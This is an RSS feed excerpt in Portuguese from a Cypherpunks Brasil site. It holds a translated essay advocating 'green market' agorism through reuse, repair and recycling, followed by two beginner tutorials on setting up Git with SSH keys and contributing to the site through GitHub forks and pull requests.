&lt;p>É na tradição agorista vertical que tendemos a nos preocupar mais com o meio ambiente. Os experimentos de Karl Hess em sustentabilidade comunitária levaram-no a defender coisas como aquaponia, jardinagem em telhados, piscicultura em porões, energia solar e eólica, oficinas comunitárias, armazéns, galpões compartilhados, bibliotecas de ferramentas e muito mais. Expandindo particularmente a última parte, a economia compartilhada surgiu em torno da ideia de compartilhar bens que, de outra forma, não seriam usados em sua capacidade total por um proprietário individual. Broze enfatizou o princípio da 7ª geração e conceitos como o desperdício zero em seus ensinamentos sobre o agorismo e promove a jardinagem comunitária, permacultura, minimalismo, entre outros. Com a devastação ambiental se tornando uma preocupação cada vez maior, essa ênfase se tornará cada vez mais necessária.&lt;/p>
&lt;p>Seguindo a inspiração de Broze, se quisermos olhar para o agorismo de forma holística, não podemos nos concentrar apenas no ponto de consumo, mas sim em todo o ciclo de vida de um produto. Como apontado em The Story of Stuff, essa cadeia vai da extração à produção, à distribuição e depois ao consumo, antes de finalmente terminar com o descarte. Por meio dessa lente holística, vemos que devemos fazer a mudança para uma economia circular. A maioria dos agoristas já está neste caminho de pensamento em relação à produção de alimentos, promovendo a produção e distribuição local de alimentos orgânicos sustentáveis por meio de hortas caseiras, hortas comunitárias, hortas de guerrilha, hortas em telhados, pequenas fazendas, permacultura, mercados de agricultores, CSAs(1), compostagem e seus semelhantes, mas, como um movimento, precisamos pensar nos outros produtos que consumimos em nossas vidas.&lt;/p>
&lt;p>O velho ditado diz: “Não há consumo ético sob o capitalismo”, e a verdade é que em nosso atual mercado fraudulento, nós, como consumidores, somos amplamente e propositadamente mantidos desinformados sobre os produtos que consumimos. O agorismo, especificamente com ênfase no localismo, nos dá uma alternativa mais eficaz para o consumo ético. Comprar produtos locais de seus vizinhos torna um pouco mais fácil saber a história desses produtos, tornando-o um consumidor mais informado que pode tomar decisões mais informadas. No entanto, nem todos os itens podem ser encontrados por meio de uma fonte local e mesmo essas fontes locais geralmente utilizam outros produtos no processo de produção. Por exemplo, sua gráfica local pode fazer isso sozinha, mas ainda está imprimindo em camisas compradas de alguma empresa com diversas filiais, que são feitas em fábricas exploradoras, por crianças trabalhadoras, usando fibras sintéticas e fibras vegetais cultivadas e colhidas por escravos da prisão e tingidas com corantes sintéticos nocivos que escorrem para as águas próximas, causando poluição e morte da vida marinha local. Mesmo que consigam encontrar fontes que reivindicam motivos éticos por causa de vários aspectos de sua produção (orgânico, comércio justo, sindicalizado, etc.), sempre há outras questões (roubo de salários, monocultura, lobby). Mas há uma solução para obter quase tudo o que você precisa e não pode comprar de um produtor ético sem contribuir com um centavo para essas empresas.&lt;/p>
&lt;p>Como agoristas, falamos frequentemente dos mercados branco, negro, cinza e vermelho, mas há um mercado que está surpreendentemente ausente, mas é cada vez mais relevante para a conversa: os mercados verdes. Agora, com ‘mercado verde’, não quero dizer cannabis, energias alternativas ou consumismo esverdeado(2) enganoso. Em vez disso, os mercados verdes incluem todas as transações do mercado branco, cinza e negro envolvendo mercadorias revendidas, ou seja, mercadorias que já foram de propriedade, reparadas, reformadas e / ou recicladas. Isso inclui brechós, trocas de roupas, oficinas de conserto, feiras de consertos, o movimento Right to Repair, peças de carros usadas, redistribuição de produtos descartados em vão ao estilo Food Not Bombs e muito mais.&lt;/p>
&lt;p>Reparar coisas, comprar ou negociar com amigos, comprar em brechós e mercados de pulgas locais, programas eficazes de reciclagem e reutilizar e reaproveitar itens são exemplos de agorismo no mercado verde. É verdade que isso ainda se concentra apenas nos aspectos de distribuição, consumo e, às vezes, gestão da vida de um produto, embora não abordando diretamente os aspectos de extração e produção, no entanto, obter seus produtos do mercado verde reduz a demanda por extração e produção de novos produtos. Reduzir os nossos atuais modos de produção em geral é necessário para reduzir os danos ao meio ambiente e, portanto, um movimento no sentido de reduzir, reutilizar, reparar, reaproveitar e reciclar é uma obrigação. Mudar para mercados verdes nos dá a chance de analisar nosso consumo e perceber o quanto podemos contar com o que já está disponível em vez de precisarmos produzir constantemente. É claro que sempre haverá itens que serão necessários comprar novos, como produtos de higiene e novas tecnologias, mas confiar principalmente em produtos do mercado verde nos permite reduzir o problema da questão da extração ética e dos métodos de produção a um nível menor e mais administrável. Em vez de ter que nos concentrar em como produzir todos os produtos de forma ética, só precisamos nos concentrar em como extrair e produzir necessidades de maneira ética.&lt;/p>
&lt;p>De repente, essas perguntas se tornam mais fáceis de responder e podemos começar a nos concentrar em como produzir essas necessidades. Podemos começar a fazer nossos próprios produtos de higiene a partir de materiais vegetais cultivados localmente, imprimir escovas de dente em 3D e fazer pentes usando fibra feita de sucata de plástico e designs de máquina de código aberto da Precious Plastic, lutar pelos direitos trabalhistas dos mineradores de metais preciosos que entram em nossas impressoras 3D e formar grupos de trabalhadores para montar as peças, criar programas de reciclagem mais eficazes para os resíduos que ainda criamos e muito mais. Podemos ser extremamente criativos sobre isso. Mas, primeiro, devemos reduzir o problema reduzindo nosso consumo de novos itens. Devemos nos tornar agoristas do mercado verde.&lt;/p>
&lt;hr>
&lt;p>&lt;strong>Notas do Tradutor:&lt;/strong>&lt;/p>
&lt;ol>
&lt;li>
&lt;p>Community-Supported Agriculture, Comunidade que Sustenta a Agricultura em português, é um movimento social que promove relações saudáveis entre campo e cidade. Os laços entre agricultores e consumidores são estreitados, e o financiamento da produção em coletivo de alimentos é feito de forma antecipada, dividindo os riscos, responsabilidades e benefícios na hora da partilha da colheita.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Do original “Greenwashing”, é um neologismo derivado das palavras green (verde) e whitewash (branquear ou encobrir), utilizado para indicar o uso de técnicas de marketing e relações públicas para expressar uma falsa preocupação de empresas, governos ou pessoas com o meio ambiente.&lt;/p>
&lt;/li>
&lt;/ol>
&lt;hr>
&lt;p>Fonte: &lt;a href="https://c4ss.org/content/51920" target="_blank" rel="noopener noreferrer">Green Market Agorism - Logan Marie Glitterbomb&lt;/a>
&lt;/p></content:encoded></item><item><title>Git (texto da antiga wiki)</title><link>https://cypherpunks.com.br/documentos/wiki-git/</link><pubDate>Tue, 01 Jan 2019 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/wiki-git/</guid><description>Tutorial movido da antiga wiki Cypherpunks Brasil para o site.</description><content:encoded>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h1 id="git">Git&lt;/h1>
&lt;hr>
&lt;p>&lt;a href="#passo-a-passo-detalhado">Se você não sabe ou não está acostumado a usar o &lt;strong>Git&lt;/strong>, pule para o passo a passo detalhado&lt;/a>
&lt;/p>
&lt;h2 id="passo-a-passo-simplificado">Passo a passo simplificado&lt;/h2>
&lt;h2 id="i---local">I - Local&lt;/h2>
&lt;h6 id="1-informe-ao-_git_-os-dados-que-identificarão-seus-_commits_">1. Informe ao &lt;em>Git&lt;/em> os dados que identificarão seus &lt;em>commits&lt;/em>&lt;/h6>
&lt;pre tabindex="0">&lt;code>git config --global user.name &amp;#34;Nome Sobrenome&amp;#34;
git config --global user.email &amp;#34;seu_email@email.com&amp;#34;
&lt;/code>&lt;/pre>&lt;h6 id="2-crie-um-par-de-chaves-_ssh_">2. Crie um par de chaves &lt;em>SSH&lt;/em>&lt;/h6>
&lt;pre tabindex="0">&lt;code>ssh-keygen -t rsa -b 4096 -C &amp;#34;seu_email@email.com&amp;#34;
&lt;/code>&lt;/pre>&lt;h6 id="3-dê-_enter_-para-salvar-o-arquivo-e-escolha-uma-senha-para-essa-chave">3. Dê &lt;em>Enter&lt;/em> para salvar o arquivo e escolha uma senha para essa chave&lt;/h6>
&lt;pre tabindex="0">&lt;code>Enter passphrase (empty for no passphrase):
Enter same passphrase again:
&lt;/code>&lt;/pre>&lt;h6 id="4-adicione-a-chave-privada-ao-_ssh-agent_">4. Adicione a chave privada ao &lt;em>ssh-agent&lt;/em>&lt;/h6>
&lt;pre tabindex="0">&lt;code>eval $(ssh-agent -s)
ssh-add ~/.ssh/id_rsa
&lt;/code>&lt;/pre>&lt;h2 id="ii---github">II - GitHub&lt;/h2>
&lt;h6 id="1-copie-o-conteúdo-da-chave-pública-do-_ssh_">1. Copie o conteúdo da chave pública do &lt;em>SSH&lt;/em>.&lt;/h6>
&lt;h6 id="2--no-canto-superior-direito-da-página-clique-na-foto-do-seu-perfil-e-em-seguida-clique-em-_settings_">2. No canto superior direito da página, clique na foto do seu perfil e, em seguida, clique em &lt;em>Settings&lt;/em>.&lt;/h6>
&lt;h6 id="3-na-barra-lateral-de-configurações-do-usuário-clique-em-_ssh-and-gpg-keys_">3. Na barra lateral de configurações do usuário, clique em &lt;em>SSH and GPG keys&lt;/em>.&lt;/h6>
&lt;h6 id="4-clique-em-_new-ssh-key_-ou-_add-ssh-key_">4. Clique em &lt;em>New SSH key&lt;/em> ou &lt;em>Add SSH key&lt;/em>.&lt;/h6>
&lt;h6 id="5-no-campo-_title_-adicione-um-rótulo">5. No campo &lt;em>Title&lt;/em>, adicione um rótulo.&lt;/h6>
&lt;h6 id="6-cole-sua-chave-no-campo-_key_">6. Cole sua chave no campo &lt;em>Key&lt;/em>.&lt;/h6>
&lt;h6 id="7-clique-em-_add-ssh-key_">7. Clique em &lt;em>Add SSH key&lt;/em>.&lt;/h6>
&lt;h6 id="8-se-solicitado-confirme-sua-senha-do-github">8. Se solicitado, confirme sua senha do GitHub.&lt;/h6>
&lt;h5 id="ao-fim-dessa-configuração-você-pode-ir-para-o-passo-a-passo-usando-git-e-github-para-enviar-sua-contribuição-ou-ir-para-a-página-de-contribuições">Ao fim dessa configuração você pode ir para o passo a passo usando &lt;a href="https://cypherpunks.com.br/documentos/wiki-gitgithub/">Git e GitHub&lt;/a>
para enviar sua contribuição ou ir para a página de &lt;a href="https://cypherpunks.com.br/documentos/contribuir-cypherpunksbr/">contribuições&lt;/a>
.&lt;/h5>
&lt;h2 id="passo-a-passo-detalhado">Passo a passo detalhado&lt;/h2>
&lt;h2 id="i---configurando-o-git-localmente">I - Configurando o Git localmente&lt;/h2>
&lt;p>Após a instalação do &lt;em>Git&lt;/em> no seu computador, vamos configurar seu dados. Informe ao &lt;em>Git&lt;/em> os dados que identificarão seus &lt;em>commits&lt;/em>. Digite os comandos:&lt;/p>
&lt;pre tabindex="0">&lt;code>git config --global user.name &amp;#34;Nome Sobrenome&amp;#34;
git config --global user.email &amp;#34;seu_email@email.com&amp;#34;
&lt;/code>&lt;/pre>&lt;p>Após isso você está pronto para usar o &lt;strong>Git&lt;/strong> localmente.&lt;/p>
&lt;p>Tendo cadastrado e logado em sua conta, agora você precisa de uma chave &lt;strong>SSH&lt;/strong> para poder começar a &lt;em>comitar&lt;/em> para sua conta. No terminal digite:&lt;/p>
&lt;pre tabindex="0">&lt;code>ssh-keygen -t rsa -b 4096 -C &amp;#34;seu_email@email.com&amp;#34;
&lt;/code>&lt;/pre>&lt;p>O comando &lt;code>-t rsa&lt;/code> indica que o tipo de chave é &lt;strong>RSA&lt;/strong>. O comando &lt;code>-b 4096&lt;/code> indica que o tamanho da chave é de 4096 bits. Se quiser pode deixar sem o &lt;code>-b 4096&lt;/code>, criando uma chave padrão com tamanho 2048 bits. Enfim, o último comando &lt;code>-C &amp;quot;seu_email@dominio.com&amp;quot;&lt;/code> indica sua conta do GitHub.&lt;/p>
&lt;p>Após isso,aparecerá:&lt;/p>
&lt;pre tabindex="0">&lt;code>Generating public/private rsa key pair.
Enter file in which to save the key (/home/schacon/.ssh/id_rsa):
&lt;/code>&lt;/pre>&lt;p>Nesse momento, dê &lt;em>Enter&lt;/em> para salvar a chave nesse arquivo mesmo.&lt;/p>
&lt;p>Logo após, será exibido &lt;code>Created directory '/home/schacon/.ssh'&lt;/code>, indicando onde está salva a sua chave. Após isso, digite uma senha para a chave &lt;em>SSH&lt;/em>, não precisa ser a mesma do &lt;em>GitHub&lt;/em>. Se quiser pode deixá-la em branco para evitar digitá-la toda vez que for baixar algo de um repositório ou enviar algo para lá.&lt;/p>
&lt;pre tabindex="0">&lt;code>Enter passphrase (empty for no passphrase):
Enter same passphrase again:
&lt;/code>&lt;/pre>&lt;p>Logo em seguida, vai ser mostrado a você o seguinte:&lt;/p>
&lt;pre tabindex="0">&lt;code>Your identification has been saved in /home/user/.ssh/id_rsa.
Your public key has been saved in /home/user/.ssh/id_rsa.pub.
The key fingerprint is:
d0:82:24:8e:d7:f1:bb:9b:33:53:96:93:49:da:9b:e3 seu_email@dominio.com
The key&amp;#39;s randomart image is:
+---[RSA 4096]----+
|o= . .. |
|+ + * * o |
| O o= @ |
| *. X . . |
| o .o S o |
| o. oo. |
| . o.=++. |
| E..*.=+ |
| .+.B* |
+----[SHA256]-----+
&lt;/code>&lt;/pre>&lt;p>Caso você tenha colocado uma senha ao criar o par de chaves, você pode evitar digitar a senha toda vez que enviar ou baixar algo de algum repositório usando o &lt;strong>ssh-agent&lt;/strong>. Este detecta a chave automaticamente. Para iniciá-lo digite:&lt;/p>
&lt;pre tabindex="0">&lt;code>eval $(ssh-agent -s)
&lt;/code>&lt;/pre>&lt;p>Após isso, aparecerá para você &lt;code>Agent pid 59566&lt;/code>, indicando que o processo está em execução.&lt;/p>
&lt;p>Adicione sua chave privada &lt;strong>SSH&lt;/strong> ao &lt;strong>ssh-agent&lt;/strong>. Se você criou sua chave com um nome diferente ou se estiver adicionando uma chave existente que tenha um nome diferente, substitua &lt;strong>id_rsa&lt;/strong> no comando pelo nome do seu arquivo de chave privada. O comando é:&lt;/p>
&lt;pre tabindex="0">&lt;code>ssh-add ~/.ssh/id_rsa
&lt;/code>&lt;/pre>&lt;h2 id="ii---adicionando-a-chave-a-sua-conta-github">II - Adicionando a chave a sua conta GitHub&lt;/h2>
&lt;p>&lt;strong>1.&lt;/strong> Copie a chave pública &lt;em>SSH&lt;/em> que se encontra no arquivo &lt;code>~/.ssh/id_rsa.pub&lt;/code>. Você pode usar o comando:&lt;/p>
&lt;pre tabindex="0">&lt;code>clip &amp;lt; ~/.ssh/id_rsa.pub
&lt;/code>&lt;/pre>&lt;p>Ou simplesmente abrir esse arquivo com um editor de texto e copiar o conteúdo.&lt;/p>
&lt;p>&lt;strong>2.&lt;/strong> No canto superior direito da página, clique na foto do seu perfil e, em seguida, clique em &lt;strong>Settings&lt;/strong>.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="Settings" src="https://cypherpunks.com.br/stuff/git-01.png" loading="lazy"
width="227" height="381"
/>
&lt;/p>
&lt;p>&lt;strong>3.&lt;/strong> Na barra lateral de configurações do usuário, clique em &lt;strong>SSH and GPG keys&lt;/strong>.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="SSH and GPG keys" src="https://cypherpunks.com.br/stuff/git-02.png" loading="lazy"
width="261" height="104"
/>
&lt;/p>
&lt;p>&lt;strong>4.&lt;/strong> Clique em &lt;strong>New SSH key&lt;/strong> ou &lt;strong>Add SSH key&lt;/strong>.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="New SSH key" src="https://cypherpunks.com.br/stuff/git-03.png" loading="lazy"
width="767" height="172"
/>
&lt;/p>
&lt;p>&lt;strong>5.&lt;/strong> No campo &lt;strong>Title&lt;/strong>, adicione um rótulo descritivo para a nova chave. Por exemplo, se você estiver usando um Mac pessoal, poderá chamar essa chave de &amp;ldquo;Personal MacBook Air&amp;rdquo;.&lt;/p>
&lt;p>&lt;strong>6.&lt;/strong> Cole sua chave no campo &lt;strong>Key&lt;/strong>.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="Key" src="https://cypherpunks.com.br/stuff/git-04.png" loading="lazy"
width="770" height="536"
/>
&lt;/p>
&lt;p>&lt;strong>7.&lt;/strong> Clique em &lt;strong>Add SSH key&lt;/strong>.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="Add SSH key" src="https://cypherpunks.com.br/stuff/git-05.png" loading="lazy"
width="159" height="84"
/>
&lt;/p>
&lt;p>&lt;strong>8.&lt;/strong> Se solicitado, confirme sua senha do &lt;strong>GitHub&lt;/strong>.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="Password" src="https://cypherpunks.com.br/stuff/git-06.png" loading="lazy"
width="383" height="240"
/>
&lt;/p></content:encoded></item><item><title>Git e Github (texto da antiga wiki)</title><link>https://cypherpunks.com.br/documentos/wiki-gitgithub/</link><pubDate>Tue, 01 Jan 2019 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/wiki-gitgithub/</guid><description>Tutorial movido da antiga wiki Cypherpunks Brasil para o site.</description><content:encoded>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h1 id="git-e-github">Git e GitHub&lt;/h1>
&lt;hr>
&lt;h4 id="se-você-não-sabe-ou-não-está-acostumado-a-usar-essas-ferramentas-pule-para-o-passo-a-passo-detalhadopasso-a-passo-detalhado">Se você não sabe ou não está acostumado a usar essas ferramentas, pule para o &lt;a href="#passo-a-passo-detalhado">passo a passo detalhado&lt;/a>
&lt;/h4>
&lt;h4 id="se-você-não-configurou-o-_git_-veja-como-fazer-isso-clicando-aqui">Se você não configurou o &lt;em>Git&lt;/em> veja como fazer isso clicando &lt;a href="https://cypherpunks.com.br/documentos/wiki-git/">aqui&lt;/a>
.&lt;/h4>
&lt;h2 id="passo-a-passo-simplificado">Passo a passo simplificado&lt;/h2>
&lt;h6 id="1-após-o-_fork_-e-o-_clone_-referencie-o-repositório-oficial">1. Após o &lt;em>fork&lt;/em> e o &lt;em>clone&lt;/em>, referencie o repositório oficial&lt;/h6>
&lt;pre tabindex="0">&lt;code>git remote add upstream git@github.com:cypherpunksbr/cypherpunks.com.br.git
&lt;/code>&lt;/pre>&lt;h6 id="2-crie-uma-_branch_-para-fazer-suas-alterações-crie-com-um-nome-coerente-com-o-que-vai-ser-feito">2. Crie uma &lt;em>branch&lt;/em> para fazer suas alterações (crie com um nome coerente com o que vai ser feito)&lt;/h6>
&lt;pre tabindex="0">&lt;code>git checkout -b nome_da_branch
&lt;/code>&lt;/pre>&lt;h6 id="3-após-as-alterações-faça-um-_commit_-com-uma-mensagem-coerente-do-que-foi-feito">3. Após as alterações, faça um &lt;em>commit&lt;/em> com uma mensagem coerente do que foi feito&lt;/h6>
&lt;pre tabindex="0">&lt;code>git add --all
git commit -am &amp;#34;sua mensagem&amp;#34;
git push origin nome_da_branch
&lt;/code>&lt;/pre>&lt;h6 id="4-envie-um-_pull-request_-com-as-alterações-feitas-sua-contribuição-será-analisada-pela-comunidade-em-alguns-casos-pediremos-algumas-alterações-antes-de-dar-_merge_">4. Envie um &lt;em>Pull Request&lt;/em> com as alterações feitas. Sua contribuição será analisada pela comunidade. Em alguns casos pediremos algumas alterações antes de dar &lt;em>merge&lt;/em>.&lt;/h6>
&lt;h6 id="5-após-o-_merge_">5. Após o &lt;em>merge&lt;/em>&lt;/h6>
&lt;h6 id="-delete-a-_branch_-utilizada">* Delete a &lt;em>branch&lt;/em> utilizada&lt;/h6>
&lt;pre tabindex="0">&lt;code>git checkout main
git push origin :nome_da_branch
git branch -D nome_da_branch
&lt;/code>&lt;/pre>&lt;h6 id="-atualize-seu-repositório-com-o-repositório-oficial">* Atualize seu repositório com o repositório oficial:&lt;/h6>
&lt;pre tabindex="0">&lt;code>git fetch upstream
git rebase upstream/main
git push -f origin main
&lt;/code>&lt;/pre>&lt;h6 id="6-quando-iniciar-uma-nova-contribuição-inicie-o-processo-pelo-passo-2">6. Quando iniciar uma nova contribuição, inicie o processo pelo passo #2.&lt;/h6>
&lt;h6 id="7-importante">7. Importante&lt;/h6>
&lt;ul>
&lt;li>Antes de enviar sua contribuição, certifique-se de que está enviando apenas um &lt;strong>único&lt;/strong> &lt;em>commit&lt;/em> que represente o que foi feito. Caso tenha feito vários commits, &lt;a href="http://gitready.com/advanced/2009/02/10/squashing-commits-with-rebase.html" target="_blank" rel="noopener noreferrer">esmague-os&lt;/a>
antes de fazer o &lt;em>Pull Request&lt;/em>.&lt;/li>
&lt;li>Caso tenha qualquer tipo de dúvida, abra uma &lt;a href="https://github.com/cypherpunksbr/cypherpunks.com.br/issues" target="_blank" rel="noopener noreferrer">&lt;em>Issue&lt;/em>&lt;/a>
que faremos o possível para te ajudar.&lt;/li>
&lt;/ul>
&lt;h4 id="volte-a-página-de-contribuições-e-veja-o-restante-das-recomendações">Volte a página de &lt;a href="https://cypherpunks.com.br/documentos/contribuir-cypherpunksbr/">contribuições&lt;/a>
e veja o restante das recomendações.&lt;/h4>
&lt;h2 id="passo-a-passo-detalhado">Passo a passo detalhado&lt;/h2>
&lt;p>Atenção! Antes de iniciar o passo a passo, leia toda a explicação até o fim e garanta que entendeu tudo o que tem que fazer.&lt;/p>
&lt;h2 id="i---forkando-o-repositório">I - Forkando o repositório&lt;/h2>
&lt;p>A primeira coisa a fazer é &lt;em>forkar&lt;/em> o repositório. Acesse a página do repositório no &lt;strong>Github&lt;/strong> e clique no botão &lt;em>Fork&lt;/em>:
&lt;img class="img-fluid" alt="Forkar o repositório" src="https://cypherpunks.com.br/stuff/gitgithub-01.png" loading="lazy"
width="1008" height="217"
/>
&lt;/p>
&lt;p>&lt;em>O que significa forkar?&lt;/em>
A tradução literal de &lt;em>fork&lt;/em> é garfo. Então, você dá uma “garfada” no repositório, dá aquela enrolada no garfo e traz ele pra sua conta 😆&lt;/p>
&lt;p>Quando você &lt;em>forkar&lt;/em> o repositório, repare que, abaixo do nome do repositório é mostrado o repositório original, ou seja, de onde ele foi &lt;em>forkado&lt;/em>:&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="Forkado de" src="https://cypherpunks.com.br/stuff/gitgithub-02.png" loading="lazy"
width="677" height="249"
/>
&lt;/p>
&lt;p>Você agora pode fazer o que quiser com esse repositório (tomando cuidado com a licença sob a qual ele foi liberado). A ideia aqui é resolver um problema e enviar o &lt;em>pull request&lt;/em> com a correção para o repositório original. Como você não tem permissão para commitar diretamente no repositório principal, você precisa &lt;em>forkar&lt;/em> e alterar no seu, para então submeter a correção.&lt;/p>
&lt;p>Após &lt;em>forkar&lt;/em>, vamos fazer nossas alterações!&lt;/p>
&lt;h2 id="ii---clonando-o-repositório">II - Clonando o repositório&lt;/h2>
&lt;p>Agora você precisa baixar os arquivos do repositório para que você possa alterar. A primeira coisa a fazer é copiar a URL do repositório daqui:
&lt;img class="img-fluid" alt="Clonar repositório" src="https://cypherpunks.com.br/stuff/gitgithub-03.png" loading="lazy"
width="985" height="272"
/>
&lt;/p>
&lt;p>Confira se o texto destacado está como &lt;code>Clone with SSH&lt;/code>. Se não estiver, clique em &lt;code>Use SSH&lt;/code> que aparece ao lado.&lt;/p>
&lt;p>Após copiar a URL, abra seu terminal, crie um diretório onde você vai guardar o projeto e digite &lt;code>git clone &amp;lt;url-do-repositorio&amp;gt;&lt;/code>:&lt;/p>
&lt;pre tabindex="0">&lt;code>git clone git@github.com:jeffesonjp/cypherpunks.com.br.git
&lt;/code>&lt;/pre>&lt;p>Neste momento você deve clonar o seu fork e não o repositório oficial.
O comando &lt;code>git clone&lt;/code> pega o repositório como ele está no GitHub, já iniciado e com todo o histórico de commits atualizado. Seria o mesmo que você executar os comandos:&lt;/p>
&lt;pre tabindex="0">&lt;code>git init
git remote add origin git@github.com:jeffesonjp/cypherpunks.com.br.git
git pull origin main
&lt;/code>&lt;/pre>&lt;p>Pronto! Já temos nosso projeto clonado em nossa máquina local! Com esse comando (&lt;code>git clone&lt;/code>), será criado um diretório com o mesmo nome do repositório. Entrando nele (&lt;code>cd cypherpunks.com.br&lt;/code>), vamos começar a modificar!&lt;/p>
&lt;h2 id="iii---criando-a-branch-para-criar-ou-modificar-algo">III - Criando a branch para criar ou modificar algo&lt;/h2>
&lt;p>Agora vamos criar uma nova branch para a nossa tarefa. Digamos que vamos criar uma &lt;em>feature&lt;/em>. Vamos criar uma &lt;em>branch&lt;/em> com um nome que diga o que será feito. Antes de tudo, garanta que você está na &lt;strong>branch main&lt;/strong>, executando o comando:&lt;/p>
&lt;pre tabindex="0">&lt;code>git branch
&lt;/code>&lt;/pre>&lt;p>A resposta deve ser:&lt;/p>
&lt;pre tabindex="0">&lt;code>* main
&lt;/code>&lt;/pre>&lt;p>&lt;em>Porque precisa estar na main?&lt;/em>
Por convenção, o &lt;em>git&lt;/em> utiliza a &lt;strong>branch main&lt;/strong> como padrão, para o código estável do projeto. Então, tudo o que estiver nessa &lt;em>branch&lt;/em>, em qualquer repositório, &amp;ndash; teóricamente &amp;ndash; é código estável. Logo, você nunca irá mexer diretamente nela, mas em outras &lt;em>branchs&lt;/em>, para então fazer &lt;strong>merge&lt;/strong> com a &lt;strong>main&lt;/strong>.&lt;/p>
&lt;p>Agora vamos criar a &lt;em>branch&lt;/em> com nossa modificação. Temos duas formas de fazer isso. A forma mais rápida é:&lt;/p>
&lt;pre tabindex="0">&lt;code>git checkout -b Atualiza_glossario
&lt;/code>&lt;/pre>&lt;p>&lt;code>Atualiza_glossario&lt;/code> é o nome da nossa &lt;em>branch&lt;/em>. A outra forma de criar uma &lt;em>branch&lt;/em> é com os comandos:&lt;/p>
&lt;pre tabindex="0">&lt;code>git branch Atualiza_glossario
git checkout Atualiza_glossario
&lt;/code>&lt;/pre>&lt;p>O primeiro comando cria a &lt;em>branch&lt;/em>. O segundo comando troca da &lt;em>branch&lt;/em> &lt;strong>main&lt;/strong> para a &lt;em>branch&lt;/em> &lt;strong>Atualiza_glossario&lt;/strong>&lt;/p>
&lt;p>Mas o primeiro comando que executamos (&lt;code>git checkout -b Atualiza_glossario&lt;/code>), já faz essas duas coisas em um comando só: cria a &lt;em>branch&lt;/em> (&lt;code>-b&lt;/code>) e já muda para a &lt;em>branch&lt;/em> criada (&lt;code>git checkout&lt;/code>).&lt;/p>
&lt;p>&lt;em>Tá, mas porque eu preciso criar uma nova branch? Se tudo irá para a main, porque não posso modificar direto ali?&lt;/em>
Como eu disse, a &lt;em>branch&lt;/em> &lt;strong>main&lt;/strong> é a &lt;em>branch&lt;/em> com o código final do projeto, estável. Criando uma nova &lt;em>branch&lt;/em>, se você submeter o &lt;em>pull request&lt;/em> para o repositório original, mas ele não for aceito, as alterações não estarão na sua &lt;strong>branch main&lt;/strong>. Dessa forma, se você quiser manter sempre os dois repositórios atualizados e sincronizados, você só precisa apagar a branch que você criou e fez a &lt;em>feature&lt;/em>. As duas &lt;strong>main&lt;/strong> vão continuar iguaizinhas 😄&lt;/p>
&lt;p>&lt;strong>4.&lt;/strong> Após fazer sua alteração, é hora de enviar para o seu &lt;em>fork&lt;/em>. Primeiro você precisa &lt;em>commitar&lt;/em> sua alteração:&lt;/p>
&lt;pre tabindex="0">&lt;code>git add --all
git commit -am &amp;#34;Adiciona a expressão &amp;#39;blind signature&amp;#39; ao glossario&amp;#34;
&lt;/code>&lt;/pre>&lt;p>O &lt;em>commit&lt;/em> não precisa ser nada muito formal, mas escreva de uma forma que qualquer pessoa que ler, entenda.&lt;/p>
&lt;h2 id="iv---pull-request">IV - Pull Request&lt;/h2>
&lt;p>Após &lt;em>commitar&lt;/em>, nossa alteração já está na árvore do &lt;strong>git&lt;/strong>. Vamos agora subir para o nosso repositório &lt;em>forkado&lt;/em>:&lt;/p>
&lt;pre tabindex="0">&lt;code>git push origin Atualiza_glossario
&lt;/code>&lt;/pre>&lt;p>Você vai rodar esse comando, trocando &lt;code>Atualiza_glossario&lt;/code> pelo nome da sua &lt;strong>branch&lt;/strong>, obviamente.&lt;/p>
&lt;p>Fazendo isso, acesse a conta do repositório original no &lt;strong>Github&lt;/strong>, e você verá uma mensagem como essa:
&lt;img class="img-fluid" alt="Mensagem de Pull Request no Github" src="https://cypherpunks.com.br/stuff/gitgithub-04.png" loading="lazy"
width="995" height="286"
/>
&lt;/p>
&lt;p>Depois é só clicar no botão verde &lt;strong>Compare &amp;amp; pull request&lt;/strong>.&lt;/p>
&lt;p>&lt;em>O que é Pull Request?&lt;/em>
&lt;em>Pull Request&lt;/em> é quando você envia uma sugestão de melhoria para o repositório.&lt;/p>
&lt;p>Quando você quer trazer, pegar, puxar algo para o seu repositório usando o &lt;strong>git&lt;/strong>, você usa o comando &lt;code>git pull&lt;/code>. Então, um &lt;em>pull request&lt;/em> nada mais é do que uma requisição ou pedido para que aquele repositório faça um &lt;em>pull&lt;/em> com as suas alterações. 😄&lt;/p>
&lt;p>Após clicar no botão &lt;strong>Compare &amp;amp; pull request&lt;/strong>, você será direcionado para a tela onde você vai criar o &lt;em>pull request&lt;/em> e pode conferir se as alterações que aparecem realmente correspondem às alterações que você fez:
&lt;img class="img-fluid" alt="Mensagem de Pull Request" src="https://cypherpunks.com.br/stuff/gitgithub-05.png" loading="lazy"
width="994" height="566"
/>
&lt;/p>
&lt;p>Na imagem acima você pode ver:&lt;/p>
&lt;ul>
&lt;li>Onde diz &lt;strong>base fork&lt;/strong> é o diretório padrão. No meu caso, está em &lt;strong>cypherpunksbr/cypherpunks.com.br&lt;/strong>.&lt;/li>
&lt;li>Ao lado, a &lt;em>branch&lt;/em> para a qual eu vou enviar meu &lt;em>pull request&lt;/em>. Vou enviar direto para a main do repositório padrão.&lt;/li>
&lt;li>&lt;strong>head fork&lt;/strong> é o seu repositório, que você &lt;em>forkou&lt;/em>. Na imagem, é o &lt;strong>jeffesonjp/cypherpunks.com.br&lt;/strong>.&lt;/li>
&lt;li>E por fim, a &lt;strong>branch&lt;/strong> onde eu fiz a alteração: &lt;em>Atualiza_glossario&lt;/em>&lt;/li>
&lt;/ul>
